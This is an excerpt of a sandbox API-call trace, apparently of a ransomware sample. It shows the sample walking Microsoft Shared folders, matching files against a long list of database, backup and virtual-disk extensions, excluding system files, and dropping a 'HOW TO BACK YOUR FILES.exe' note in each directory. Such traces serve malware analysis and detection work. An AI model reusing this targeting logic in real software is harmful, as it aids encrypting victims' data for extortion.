	[0074.749] lstrcmpiW (lpString1="SHX", lpString2="fm5") returned 1
	[0074.749] lstrlenW (lpString="fmp") returned 3
	[0074.749] lstrcmpiW (lpString1="SHX", lpString2="fmp") returned 1
	[0074.749] lstrlenW (lpString="fmp12") returned 5
	[0074.749] lstrcmpiW (lpString1="T.SHX", lpString2="fmp12") returned 1
	[0074.749] lstrlenW (lpString="fmpsl") returned 5
	[0074.749] lstrcmpiW (lpString1="T.SHX", lpString2="fmpsl") returned 1
	[0074.749] lstrlenW (lpString="fol") returned 3
	[0074.749] lstrcmpiW (lpString1="SHX", lpString2="fol") returned 1
	[0074.749] lstrlenW (lpString="fp3") returned 3
	[0074.749] lstrcmpiW (lpString1="SHX", lpString2="fp3") returned 1
	[0074.749] lstrlenW (lpString="fp4") returned 3
	[0074.749] lstrcmpiW (lpString1="SHX", lpString2="fp4") returned 1
	[0074.749] lstrlenW (lpString="fp5") returned 3
	[0074.749] lstrcmpiW (lpString1="SHX", lpString2="fp5") returned 1
	[0074.749] lstrlenW (lpString="fp7") returned 3
	[0074.749] lstrcmpiW (lpString1="SHX", lpString2="fp7") returned 1
	[0074.749] lstrlenW (lpString="fpt") returned 3
	[0074.749] lstrcmpiW (lpString1="SHX", lpString2="fpt") returned 1
	[0074.749] lstrlenW (lpString="frm") returned 3
	[0074.749] lstrcmpiW (lpString1="SHX", lpString2="frm") returned 1
	[0074.749] lstrlenW (lpString="gdb") returned 3
	[0074.749] lstrcmpiW (lpString1="SHX", lpString2="gdb") returned 1
	[0074.749] lstrlenW (lpString="gdb") returned 3
	[0074.749] lstrcmpiW (lpString1="SHX", lpString2="gdb") returned 1
	[0074.749] lstrlenW (lpString="grdb") returned 4
	[0074.749] lstrcmpiW (lpString1=".SHX", lpString2="grdb") returned -1
	[0074.749] lstrlenW (lpString="gwi") returned 3
	[0074.749] lstrcmpiW (lpString1="SHX", lpString2="gwi") returned 1
	[0074.749] lstrlenW (lpString="hdb") returned 3
	[0074.749] lstrcmpiW (lpString1="SHX", lpString2="hdb") returned 1
	[0074.749] lstrlenW (lpString="his") returned 3
	[0074.749] lstrcmpiW (lpString1="SHX", lpString2="his") returned 1
	[0074.749] lstrlenW (lpString="ib") returned 2
	[0074.749] lstrcmpiW (lpString1="HX", lpString2="ib") returned -1
	[0074.749] lstrlenW (lpString="idb") returned 3
	[0074.750] lstrcmpiW (lpString1="SHX", lpString2="idb") returned 1
	[0074.750] lstrlenW (lpString="ihx") returned 3
	[0074.750] lstrcmpiW (lpString1="SHX", lpString2="ihx") returned 1
	[0074.750] lstrlenW (lpString="itdb") returned 4
	[0074.750] lstrcmpiW (lpString1=".SHX", lpString2="itdb") returned -1
	[0074.750] lstrlenW (lpString="itw") returned 3
	[0074.750] lstrcmpiW (lpString1="SHX", lpString2="itw") returned 1
	[0074.750] lstrlenW (lpString="jet") returned 3
	[0074.750] lstrcmpiW (lpString1="SHX", lpString2="jet") returned 1
	[0074.750] lstrlenW (lpString="jtx") returned 3
	[0074.750] lstrcmpiW (lpString1="SHX", lpString2="jtx") returned 1
	[0074.750] lstrlenW (lpString="kdb") returned 3
	[0074.750] lstrcmpiW (lpString1="SHX", lpString2="kdb") returned 1
	[0074.750] lstrlenW (lpString="kexi") returned 4
	[0074.750] lstrcmpiW (lpString1=".SHX", lpString2="kexi") returned -1
	[0074.750] lstrlenW (lpString="kexic") returned 5
	[0074.750] lstrcmpiW (lpString1="T.SHX", lpString2="kexic") returned 1
	[0074.750] lstrlenW (lpString="kexis") returned 5
	[0074.750] lstrcmpiW (lpString1="T.SHX", lpString2="kexis") returned 1
	[0074.750] lstrlenW (lpString="lgc") returned 3
	[0074.750] lstrcmpiW (lpString1="SHX", lpString2="lgc") returned 1
	[0074.750] lstrlenW (lpString="lwx") returned 3
	[0074.750] lstrcmpiW (lpString1="SHX", lpString2="lwx") returned 1
	[0074.750] lstrlenW (lpString="maf") returned 3
	[0074.750] lstrcmpiW (lpString1="SHX", lpString2="maf") returned 1
	[0074.750] lstrlenW (lpString="maq") returned 3
	[0074.750] lstrcmpiW (lpString1="SHX", lpString2="maq") returned 1
	[0074.750] lstrlenW (lpString="mar") returned 3
	[0074.750] lstrcmpiW (lpString1="SHX", lpString2="mar") returned 1
	[0074.750] lstrlenW (lpString="marshal") returned 7
	[0074.750] lstrcmpiW (lpString1="TXT.SHX", lpString2="marshal") returned 1
	[0074.750] lstrlenW (lpString="mas") returned 3
	[0074.750] lstrcmpiW (lpString1="SHX", lpString2="mas") returned 1
	[0074.750] lstrlenW (lpString="mav") returned 3
	[0074.750] lstrcmpiW (lpString1="SHX", lpString2="mav") returned 1
	[0074.750] lstrlenW (lpString="maw") returned 3
	[0074.750] lstrcmpiW (lpString1="SHX", lpString2="maw") returned 1
	[0074.751] lstrlenW (lpString="mdbhtml") returned 7
	[0074.751] lstrcmpiW (lpString1="TXT.SHX", lpString2="mdbhtml") returned 1
	[0074.751] lstrlenW (lpString="mdn") returned 3
	[0074.751] lstrcmpiW (lpString1="SHX", lpString2="mdn") returned 1
	[0074.751] lstrlenW (lpString="mdt") returned 3
	[0074.751] lstrcmpiW (lpString1="SHX", lpString2="mdt") returned 1
	[0074.751] lstrlenW (lpString="mfd") returned 3
	[0074.751] lstrcmpiW (lpString1="SHX", lpString2="mfd") returned 1
	[0074.751] lstrlenW (lpString="mpd") returned 3
	[0074.751] lstrcmpiW (lpString1="SHX", lpString2="mpd") returned 1
	[0074.751] lstrlenW (lpString="mrg") returned 3
	[0074.751] lstrcmpiW (lpString1="SHX", lpString2="mrg") returned 1
	[0074.751] lstrlenW (lpString="mud") returned 3
	[0074.751] lstrcmpiW (lpString1="SHX", lpString2="mud") returned 1
	[0074.751] lstrlenW (lpString="mwb") returned 3
	[0074.751] lstrcmpiW (lpString1="SHX", lpString2="mwb") returned 1
	[0074.751] lstrlenW (lpString="myd") returned 3
	[0074.751] lstrcmpiW (lpString1="SHX", lpString2="myd") returned 1
	[0074.751] lstrlenW (lpString="ndf") returned 3
	[0074.751] lstrcmpiW (lpString1="SHX", lpString2="ndf") returned 1
	[0074.751] lstrlenW (lpString="nnt") returned 3
	[0074.751] lstrcmpiW (lpString1="SHX", lpString2="nnt") returned 1
	[0074.751] lstrlenW (lpString="nrmlib") returned 6
	[0074.751] lstrcmpiW (lpString1="XT.SHX", lpString2="nrmlib") returned 1
	[0074.751] lstrlenW (lpString="ns2") returned 3
	[0074.751] lstrcmpiW (lpString1="SHX", lpString2="ns2") returned 1
	[0074.751] lstrlenW (lpString="ns3") returned 3
	[0074.751] lstrcmpiW (lpString1="SHX", lpString2="ns3") returned 1
	[0074.751] lstrlenW (lpString="ns4") returned 3
	[0074.751] lstrcmpiW (lpString1="SHX", lpString2="ns4") returned 1
	[0074.751] lstrlenW (lpString="nsf") returned 3
	[0074.751] lstrcmpiW (lpString1="SHX", lpString2="nsf") returned 1
	[0074.751] lstrlenW (lpString="nv") returned 2
	[0074.751] lstrcmpiW (lpString1="HX", lpString2="nv") returned -1
	[0074.751] lstrlenW (lpString="nv2") returned 3
	[0074.751] lstrcmpiW (lpString1="SHX", lpString2="nv2") returned 1
	[0074.751] lstrlenW (lpString="nwdb") returned 4
	[0074.751] lstrcmpiW (lpString1=".SHX", lpString2="nwdb") returned -1
	[0074.752] lstrlenW (lpString="nyf") returned 3
	[0074.752] lstrcmpiW (lpString1="SHX", lpString2="nyf") returned 1
	[0074.752] lstrlenW (lpString="odb") returned 3
	[0074.752] lstrcmpiW (lpString1="SHX", lpString2="odb") returned 1
	[0074.752] lstrlenW (lpString="odb") returned 3
	[0074.752] lstrcmpiW (lpString1="SHX", lpString2="odb") returned 1
	[0074.752] lstrlenW (lpString="oqy") returned 3
	[0074.752] lstrcmpiW (lpString1="SHX", lpString2="oqy") returned 1
	[0074.752] lstrlenW (lpString="ora") returned 3
	[0074.752] lstrcmpiW (lpString1="SHX", lpString2="ora") returned 1
	[0074.752] lstrlenW (lpString="orx") returned 3
	[0074.752] lstrcmpiW (lpString1="SHX", lpString2="orx") returned 1
	[0074.752] lstrlenW (lpString="owc") returned 3
	[0074.752] lstrcmpiW (lpString1="SHX", lpString2="owc") returned 1
	[0074.752] lstrlenW (lpString="p96") returned 3
	[0074.752] lstrcmpiW (lpString1="SHX", lpString2="p96") returned 1
	[0074.752] lstrlenW (lpString="p97") returned 3
	[0074.752] lstrcmpiW (lpString1="SHX", lpString2="p97") returned 1
	[0074.752] lstrlenW (lpString="pan") returned 3
	[0074.752] lstrcmpiW (lpString1="SHX", lpString2="pan") returned 1
	[0074.752] lstrlenW (lpString="pdb") returned 3
	[0074.752] lstrcmpiW (lpString1="SHX", lpString2="pdb") returned 1
	[0074.752] lstrlenW (lpString="pdm") returned 3
	[0074.752] lstrcmpiW (lpString1="SHX", lpString2="pdm") returned 1
	[0074.752] lstrlenW (lpString="pnz") returned 3
	[0074.752] lstrcmpiW (lpString1="SHX", lpString2="pnz") returned 1
	[0074.752] lstrlenW (lpString="qry") returned 3
	[0074.752] lstrcmpiW (lpString1="SHX", lpString2="qry") returned 1
	[0074.752] lstrlenW (lpString="qvd") returned 3
	[0074.752] lstrcmpiW (lpString1="SHX", lpString2="qvd") returned 1
	[0074.752] lstrlenW (lpString="rbf") returned 3
	[0074.752] lstrcmpiW (lpString1="SHX", lpString2="rbf") returned 1
	[0074.752] lstrlenW (lpString="rctd") returned 4
	[0074.752] lstrcmpiW (lpString1=".SHX", lpString2="rctd") returned -1
	[0074.752] lstrlenW (lpString="rod") returned 3
	[0074.752] lstrcmpiW (lpString1="SHX", lpString2="rod") returned 1
	[0074.752] lstrlenW (lpString="rodx") returned 4
	[0074.752] lstrcmpiW (lpString1=".SHX", lpString2="rodx") returned -1
	[0074.752] lstrlenW (lpString="rpd") returned 3
	[0074.753] lstrcmpiW (lpString1="SHX", lpString2="rpd") returned 1
	[0074.753] lstrlenW (lpString="rsd") returned 3
	[0074.753] lstrcmpiW (lpString1="SHX", lpString2="rsd") returned 1
	[0074.753] lstrlenW (lpString="sas7bdat") returned 8
	[0074.753] lstrcmpiW (lpString1="DTXT.SHX", lpString2="sas7bdat") returned -1
	[0074.753] lstrlenW (lpString="sbf") returned 3
	[0074.753] lstrcmpiW (lpString1="SHX", lpString2="sbf") returned 1
	[0074.753] lstrlenW (lpString="scx") returned 3
	[0074.753] lstrcmpiW (lpString1="SHX", lpString2="scx") returned 1
	[0074.753] lstrlenW (lpString="sdb") returned 3
	[0074.753] lstrcmpiW (lpString1="SHX", lpString2="sdb") returned 1
	[0074.753] lstrlenW (lpString="sdc") returned 3
	[0074.753] lstrcmpiW (lpString1="SHX", lpString2="sdc") returned 1
	[0074.753] lstrlenW (lpString="sdf") returned 3
	[0074.753] lstrcmpiW (lpString1="SHX", lpString2="sdf") returned 1
	[0074.753] lstrlenW (lpString="sis") returned 3
	[0074.753] lstrcmpiW (lpString1="SHX", lpString2="sis") returned -1
	[0074.753] lstrlenW (lpString="spq") returned 3
	[0074.753] lstrcmpiW (lpString1="SHX", lpString2="spq") returned -1
	[0074.753] lstrlenW (lpString="te") returned 2
	[0074.753] lstrcmpiW (lpString1="HX", lpString2="te") returned -1
	[0074.753] lstrlenW (lpString="teacher") returned 7
	[0074.753] lstrcmpiW (lpString1="TXT.SHX", lpString2="teacher") returned 1
	[0074.753] lstrlenW (lpString="tmd") returned 3
	[0074.753] lstrcmpiW (lpString1="SHX", lpString2="tmd") returned -1
	[0074.753] lstrlenW (lpString="tps") returned 3
	[0074.753] lstrcmpiW (lpString1="SHX", lpString2="tps") returned -1
	[0074.753] lstrlenW (lpString="trc") returned 3
	[0074.753] lstrcmpiW (lpString1="SHX", lpString2="trc") returned -1
	[0074.753] lstrlenW (lpString="trc") returned 3
	[0074.753] lstrcmpiW (lpString1="SHX", lpString2="trc") returned -1
	[0074.753] lstrlenW (lpString="trm") returned 3
	[0074.753] lstrcmpiW (lpString1="SHX", lpString2="trm") returned -1
	[0074.753] lstrlenW (lpString="udb") returned 3
	[0074.753] lstrcmpiW (lpString1="SHX", lpString2="udb") returned -1
	[0074.753] lstrlenW (lpString="udl") returned 3
	[0074.754] lstrcmpiW (lpString1="SHX", lpString2="udl") returned -1
	[0074.754] lstrlenW (lpString="usr") returned 3
	[0074.754] lstrcmpiW (lpString1="SHX", lpString2="usr") returned -1
	[0074.754] lstrlenW (lpString="v12") returned 3
	[0074.754] lstrcmpiW (lpString1="SHX", lpString2="v12") returned -1
	[0074.754] lstrlenW (lpString="vis") returned 3
	[0074.754] lstrcmpiW (lpString1="SHX", lpString2="vis") returned -1
	[0074.754] lstrlenW (lpString="vpd") returned 3
	[0074.754] lstrcmpiW (lpString1="SHX", lpString2="vpd") returned -1
	[0074.754] lstrlenW (lpString="vvv") returned 3
	[0074.754] lstrcmpiW (lpString1="SHX", lpString2="vvv") returned -1
	[0074.754] lstrlenW (lpString="wdb") returned 3
	[0074.754] lstrcmpiW (lpString1="SHX", lpString2="wdb") returned -1
	[0074.754] lstrlenW (lpString="wmdb") returned 4
	[0074.754] lstrcmpiW (lpString1=".SHX", lpString2="wmdb") returned -1
	[0074.754] lstrlenW (lpString="wrk") returned 3
	[0074.754] lstrcmpiW (lpString1="SHX", lpString2="wrk") returned -1
	[0074.754] lstrlenW (lpString="xdb") returned 3
	[0074.754] lstrcmpiW (lpString1="SHX", lpString2="xdb") returned -1
	[0074.754] lstrlenW (lpString="xld") returned 3
	[0074.754] lstrcmpiW (lpString1="SHX", lpString2="xld") returned -1
	[0074.754] lstrlenW (lpString="xmlff") returned 5
	[0074.754] lstrcmpiW (lpString1="T.SHX", lpString2="xmlff") returned -1
	[0074.754] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1
	[0074.754] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.754] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="Apollon865.txt.exe") returned 1
	[0074.754] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2=".") returned 1
	[0074.754] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="..") returned 1
	[0074.754] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="windows") returned -1
	[0074.754] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="bootmgr") returned 1
	[0074.754] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="temp") returned 1
	[0074.754] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="pagefile.sys") returned 1
	[0074.754] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="boot") returned 1
	[0074.754] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="ids.txt") returned 1
	[0074.754] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="ntuser.dat") returned 1
	[0074.755] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="perflogs") returned 1
	[0074.755] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2="MSBuild") returned 1
	[0074.755] lstrlenW (lpString="WHGTXT.SHX") returned 10
	[0074.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX") returned 77
	[0074.755] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="WHGTXT.SHX" | out: lpString1="WHGTXT.SHX") returned="WHGTXT.SHX"
	[0074.755] lstrlenW (lpString="WHGTXT.SHX") returned 10
	[0074.755] lstrlenW (lpString="Apollon865") returned 10
	[0074.755] lstrlenW (lpString=".dll") returned 4
	[0074.755] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2=".dll") returned 1
	[0074.755] lstrlenW (lpString=".lnk") returned 4
	[0074.755] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2=".lnk") returned 1
	[0074.755] lstrlenW (lpString=".ini") returned 4
	[0074.755] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2=".ini") returned 1
	[0074.755] lstrlenW (lpString=".sys") returned 4
	[0074.755] lstrcmpiW (lpString1="WHGTXT.SHX", lpString2=".sys") returned 1
	[0074.755] lstrlenW (lpString="WHGTXT.SHX") returned 10
	[0074.755] lstrlenW (lpString="bak") returned 3
	[0074.755] lstrcmpiW (lpString1="SHX", lpString2="bak") returned 1
	[0074.755] lstrlenW (lpString="ba_") returned 3
	[0074.755] lstrcmpiW (lpString1="SHX", lpString2="ba_") returned 1
	[0074.755] lstrlenW (lpString="dbb") returned 3
	[0074.755] lstrcmpiW (lpString1="SHX", lpString2="dbb") returned 1
	[0074.755] lstrlenW (lpString="vmdk") returned 4
	[0074.755] lstrcmpiW (lpString1=".SHX", lpString2="vmdk") returned -1
	[0074.755] lstrlenW (lpString="rar") returned 3
	[0074.755] lstrcmpiW (lpString1="SHX", lpString2="rar") returned 1
	[0074.755] lstrlenW (lpString="zip") returned 3
	[0074.755] lstrcmpiW (lpString1="SHX", lpString2="zip") returned -1
	[0074.755] lstrlenW (lpString="tgz") returned 3
	[0074.755] lstrcmpiW (lpString1="SHX", lpString2="tgz") returned -1
	[0074.755] lstrlenW (lpString="vbox") returned 4
	[0074.755] lstrcmpiW (lpString1=".SHX", lpString2="vbox") returned -1
	[0074.755] lstrlenW (lpString="vdi") returned 3
	[0074.755] lstrcmpiW (lpString1="SHX", lpString2="vdi") returned -1
	[0074.755] lstrlenW (lpString="vhd") returned 3
	[0074.755] lstrcmpiW (lpString1="SHX", lpString2="vhd") returned -1
	[0074.755] lstrlenW (lpString="vhdx") returned 4
	[0074.756] lstrcmpiW (lpString1=".SHX", lpString2="vhdx") returned -1
	[0074.756] lstrlenW (lpString="avhd") returned 4
	[0074.756] lstrcmpiW (lpString1=".SHX", lpString2="avhd") returned -1
	[0074.756] lstrlenW (lpString="db") returned 2
	[0074.756] lstrcmpiW (lpString1="HX", lpString2="db") returned 1
	[0074.756] lstrlenW (lpString="db2") returned 3
	[0074.756] lstrcmpiW (lpString1="SHX", lpString2="db2") returned 1
	[0074.756] lstrlenW (lpString="db3") returned 3
	[0074.756] lstrcmpiW (lpString1="SHX", lpString2="db3") returned 1
	[0074.756] lstrlenW (lpString="dbf") returned 3
	[0074.756] lstrcmpiW (lpString1="SHX", lpString2="dbf") returned 1
	[0074.756] lstrlenW (lpString="mdf") returned 3
	[0074.756] lstrcmpiW (lpString1="SHX", lpString2="mdf") returned 1
	[0074.756] lstrlenW (lpString="mdb") returned 3
	[0074.756] lstrcmpiW (lpString1="SHX", lpString2="mdb") returned 1
	[0074.756] lstrlenW (lpString="sql") returned 3
	[0074.756] lstrcmpiW (lpString1="SHX", lpString2="sql") returned -1
	[0074.756] lstrlenW (lpString="sqlite") returned 6
	[0074.756] lstrcmpiW (lpString1="XT.SHX", lpString2="sqlite") returned 1
	[0074.756] lstrlenW (lpString="sqlite3") returned 7
	[0074.756] lstrcmpiW (lpString1="TXT.SHX", lpString2="sqlite3") returned 1
	[0074.756] lstrlenW (lpString="sqlitedb") returned 8
	[0074.756] lstrcmpiW (lpString1="GTXT.SHX", lpString2="sqlitedb") returned -1
	[0074.756] lstrlenW (lpString="xml") returned 3
	[0074.756] lstrcmpiW (lpString1="SHX", lpString2="xml") returned -1
	[0074.756] lstrlenW (lpString="$er") returned 3
	[0074.756] lstrcmpiW (lpString1="SHX", lpString2="$er") returned 1
	[0074.756] lstrlenW (lpString="4dd") returned 3
	[0074.756] lstrcmpiW (lpString1="SHX", lpString2="4dd") returned 1
	[0074.756] lstrlenW (lpString="4dl") returned 3
	[0074.756] lstrcmpiW (lpString1="SHX", lpString2="4dl") returned 1
	[0074.756] lstrlenW (lpString="^^^") returned 3
	[0074.756] lstrcmpiW (lpString1="SHX", lpString2="^^^") returned 1
	[0074.756] lstrlenW (lpString="abs") returned 3
	[0074.756] lstrcmpiW (lpString1="SHX", lpString2="abs") returned 1
	[0074.756] lstrlenW (lpString="abx") returned 3
	[0074.756] lstrcmpiW (lpString1="SHX", lpString2="abx") returned 1
	[0074.756] lstrlenW (lpString="accdb") returned 5
	[0074.757] lstrcmpiW (lpString1="T.SHX", lpString2="accdb") returned 1
	[0074.757] lstrlenW (lpString="accdc") returned 5
	[0074.757] lstrcmpiW (lpString1="T.SHX", lpString2="accdc") returned 1
	[0074.757] lstrlenW (lpString="accde") returned 5
	[0074.757] lstrcmpiW (lpString1="T.SHX", lpString2="accde") returned 1
	[0074.757] lstrlenW (lpString="accdr") returned 5
	[0074.757] lstrcmpiW (lpString1="T.SHX", lpString2="accdr") returned 1
	[0074.757] lstrlenW (lpString="accdt") returned 5
	[0074.757] lstrcmpiW (lpString1="T.SHX", lpString2="accdt") returned 1
	[0074.757] lstrlenW (lpString="accdw") returned 5
	[0074.757] lstrcmpiW (lpString1="T.SHX", lpString2="accdw") returned 1
	[0074.757] lstrlenW (lpString="accft") returned 5
	[0074.757] lstrcmpiW (lpString1="T.SHX", lpString2="accft") returned 1
	[0074.757] lstrlenW (lpString="adb") returned 3
	[0074.757] lstrcmpiW (lpString1="SHX", lpString2="adb") returned 1
	[0074.757] lstrlenW (lpString="adb") returned 3
	[0074.757] lstrcmpiW (lpString1="SHX", lpString2="adb") returned 1
	[0074.757] lstrlenW (lpString="ade") returned 3
	[0074.757] lstrcmpiW (lpString1="SHX", lpString2="ade") returned 1
	[0074.757] lstrlenW (lpString="adf") returned 3
	[0074.757] lstrcmpiW (lpString1="SHX", lpString2="adf") returned 1
	[0074.757] lstrlenW (lpString="adn") returned 3
	[0074.757] lstrcmpiW (lpString1="SHX", lpString2="adn") returned 1
	[0074.757] lstrlenW (lpString="adp") returned 3
	[0074.757] lstrcmpiW (lpString1="SHX", lpString2="adp") returned 1
	[0074.757] lstrlenW (lpString="alf") returned 3
	[0074.757] lstrcmpiW (lpString1="SHX", lpString2="alf") returned 1
	[0074.757] lstrlenW (lpString="ask") returned 3
	[0074.757] lstrcmpiW (lpString1="SHX", lpString2="ask") returned 1
	[0074.757] lstrlenW (lpString="btr") returned 3
	[0074.757] lstrcmpiW (lpString1="SHX", lpString2="btr") returned 1
	[0074.757] lstrlenW (lpString="cat") returned 3
	[0074.757] lstrcmpiW (lpString1="SHX", lpString2="cat") returned 1
	[0074.757] lstrlenW (lpString="cdb") returned 3
	[0074.757] lstrcmpiW (lpString1="SHX", lpString2="cdb") returned 1
	[0074.757] lstrlenW (lpString="ckp") returned 3
	[0074.757] lstrcmpiW (lpString1="SHX", lpString2="ckp") returned 1
	[0074.758] lstrlenW (lpString="cma") returned 3
	[0074.758] lstrcmpiW (lpString1="SHX", lpString2="cma") returned 1
	[0074.758] lstrlenW (lpString="cpd") returned 3
	[0074.758] lstrcmpiW (lpString1="SHX", lpString2="cpd") returned 1
	[0074.758] lstrlenW (lpString="dacpac") returned 6
	[0074.758] lstrcmpiW (lpString1="XT.SHX", lpString2="dacpac") returned 1
	[0074.758] lstrlenW (lpString="dad") returned 3
	[0074.758] lstrcmpiW (lpString1="SHX", lpString2="dad") returned 1
	[0074.758] lstrlenW (lpString="dadiagrams") returned 10
	[0074.758] lstrlenW (lpString="daschema") returned 8
	[0074.758] lstrcmpiW (lpString1="GTXT.SHX", lpString2="daschema") returned 1
	[0074.758] lstrlenW (lpString="db-journal") returned 10
	[0074.758] lstrlenW (lpString="db-shm") returned 6
	[0074.758] lstrcmpiW (lpString1="XT.SHX", lpString2="db-shm") returned 1
	[0074.758] lstrlenW (lpString="db-wal") returned 6
	[0074.758] lstrcmpiW (lpString1="XT.SHX", lpString2="db-wal") returned 1
	[0074.758] lstrlenW (lpString="dbc") returned 3
	[0074.758] lstrcmpiW (lpString1="SHX", lpString2="dbc") returned 1
	[0074.758] lstrlenW (lpString="dbs") returned 3
	[0074.758] lstrcmpiW (lpString1="SHX", lpString2="dbs") returned 1
	[0074.758] lstrlenW (lpString="dbt") returned 3
	[0074.758] lstrcmpiW (lpString1="SHX", lpString2="dbt") returned 1
	[0074.758] lstrlenW (lpString="dbv") returned 3
	[0074.758] lstrcmpiW (lpString1="SHX", lpString2="dbv") returned 1
	[0074.758] lstrlenW (lpString="dbx") returned 3
	[0074.758] lstrcmpiW (lpString1="SHX", lpString2="dbx") returned 1
	[0074.758] lstrlenW (lpString="dcb") returned 3
	[0074.758] lstrcmpiW (lpString1="SHX", lpString2="dcb") returned 1
	[0074.758] lstrcmpiW (lpString1="SHX", lpString2="dct") returned 1
	[0074.758] lstrcmpiW (lpString1="SHX", lpString2="dcx") returned 1
	[0074.759] lstrcmpiW (lpString1="SHX", lpString2="ddl") returned 1
	[0074.759] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="WHTGTXT.SHX" | out: lpString1="WHTGTXT.SHX") returned="WHTGTXT.SHX"
	[0074.759] lstrlenW (lpString="WHTGTXT.SHX") returned 11
	[0074.759] lstrlenW (lpString="Apollon865") returned 10
	[0074.759] lstrcmpiW (lpString1="HTGTXT.SHX", lpString2="Apollon865") returned 1
	[0074.759] lstrlenW (lpString=".dll") returned 4
	[0074.759] lstrcmpiW (lpString1="WHTGTXT.SHX", lpString2=".dll") returned 1
	[0074.759] lstrlenW (lpString=".lnk") returned 4
	[0074.759] lstrcmpiW (lpString1="WHTGTXT.SHX", lpString2=".lnk") returned 1
	[0074.759] lstrlenW (lpString=".ini") returned 4
	[0074.759] lstrcmpiW (lpString1="WHTGTXT.SHX", lpString2=".ini") returned 1
	[0074.759] lstrlenW (lpString=".sys") returned 4
	[0074.759] lstrcmpiW (lpString1="WHTGTXT.SHX", lpString2=".sys") returned 1
	[0074.759] lstrlenW (lpString="WHTGTXT.SHX") returned 11
	[0074.759] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="WHTMTXT.SHX" | out: lpString1="WHTMTXT.SHX") returned="WHTMTXT.SHX"
	[0074.759] lstrlenW (lpString="WHTMTXT.SHX") returned 11
	[0074.759] lstrlenW (lpString="Apollon865") returned 10
	[0074.759] lstrcmpiW (lpString1="HTMTXT.SHX", lpString2="Apollon865") returned 1
	[0074.759] lstrlenW (lpString=".dll") returned 4
	[0074.759] lstrcmpiW (lpString1="WHTMTXT.SHX", lpString2=".dll") returned 1
	[0074.759] lstrlenW (lpString=".lnk") returned 4
	[0074.759] lstrcmpiW (lpString1="WHTMTXT.SHX", lpString2=".lnk") returned 1
	[0074.759] lstrlenW (lpString=".ini") returned 4
	[0074.759] lstrcmpiW (lpString1="WHTMTXT.SHX", lpString2=".ini") returned 1
	[0074.759] lstrlenW (lpString=".sys") returned 4
	[0074.759] lstrcmpiW (lpString1="WHTMTXT.SHX", lpString2=".sys") returned 1
	[0074.759] lstrlenW (lpString="WHTMTXT.SHX") returned 11
	[0074.759] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX"
	[0074.760] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aff88 | out: hHeap=0x580000) returned 1
	[0074.760] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0074.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX") returned 50
	[0074.760] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX"
	[0074.760] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.760] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.764] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.764] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x44a2b0f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44a2b0f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.764] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.764] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.764] lstrcmpiW (lpString1=".", lpString2=".") returned 0
